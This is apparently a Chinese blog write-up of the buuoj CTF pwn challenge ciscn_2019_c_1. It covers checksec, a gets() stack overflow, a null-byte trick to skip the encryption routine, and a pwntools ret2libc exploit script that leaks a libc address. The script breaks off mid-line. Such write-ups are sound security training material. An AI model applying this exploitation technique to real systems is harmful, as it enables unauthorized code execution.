CTF buuoj pwn-----第7题:ciscn_2019_c_1

本文详细解析了CTFbuuojpwn第7题的解题过程,包括使用checksec检查保护机制、IDA静态分析、利用栈溢出实现ret2libc攻击并最终获得flag。


前言

重新梳理记录一下这道题的解题过程.

1.checksec

还是先看一下保护:

bing@bing-virtual-machine:~/pwn$ checksec ./ciscn_2019_c_1
[*] '/home/bing/pwn/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只有开启了栈不可以执行.
这就只能调用系统自身函数 或者 libc函数了
随手运行一下:

pwndbg> r
Starting program: /home/bing/pwn/ciscn_2019_c_1 

EEEEEEE                            hh      iii                
EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  
EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e 
EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  
EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee 
====================================================================
Welcome to this Encryption machine

====================================================================
1.Encrypt
2.Decrypt
3.Exit
Input your choice!

2. IDA 静态分析

查看整个文件, 没有找到后门函数
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

幸运的是,我们在int encrypt()函数里面第10行找到了gets函数, 明显存在栈溢出.

3. 解题思路

  • eelf文件中没有system函数, 这就要用ret2libc方法 来调用libc中的system(‘bin/sh’) 函数.
  • 从11行到33行是encrypt函数的加密过程,它会对我们输入的字符串进行操作,为了保证我们构造的rop不会被破坏,要想办法绕过加密,14行的if判断里有个strlen函数,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密.
  • 怎么获取lib.c的基地址 ?
    encrypt()里面的get()可以溢出,栈大小为50h。puts()可以用来泄露libc基址,本题我选用了__libc_start_main函数泄露libc的基地址其实都一样
  • 构造payload:
    • payload_1 :
      在这里插入图片描述
    • payload_2 (右侧):
      在这里插入图片描述

4. 编写EXP

from pwn import *

from LibcSearcher import *


context(os='linux', arch='amd64', log_level='debug')

sh = remote('node4.buuoj.cn', 25077)  

elf=ELF('./ciscn_2019_c_1') 


pop_rid_addr = 0x400c83  

ret_addr = 0x4006b9

# 通过ROPgadget 找到


__libc_start_main_addr_got = elf.got['__libc_start_main']

puts_addr_plt = elf.plt['puts']

main_addr = elf.sym['main']


payload_1 = b'\0'+b'a'*(0x50-1+8) + p64(pop_rid_addr)+ p64(__libc_start_main_addr_got)+ p64(puts_addr_plt)+ p64(main_addr)


sh.recvuntil(b'choice!\n')

sh.sendline(b'1')

sh.recvuntil(b'encrypted\n')

sh.sendline(payload_1)



sh.recvuntil(b'Ciphertext\n')

sh.recvuntil(b'\n')   

# 这一行就收到了我们想要的地址:_libc_start_main_address

__libc_start_main_address = u64(sh.recvuntil(b'\n')[:-
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值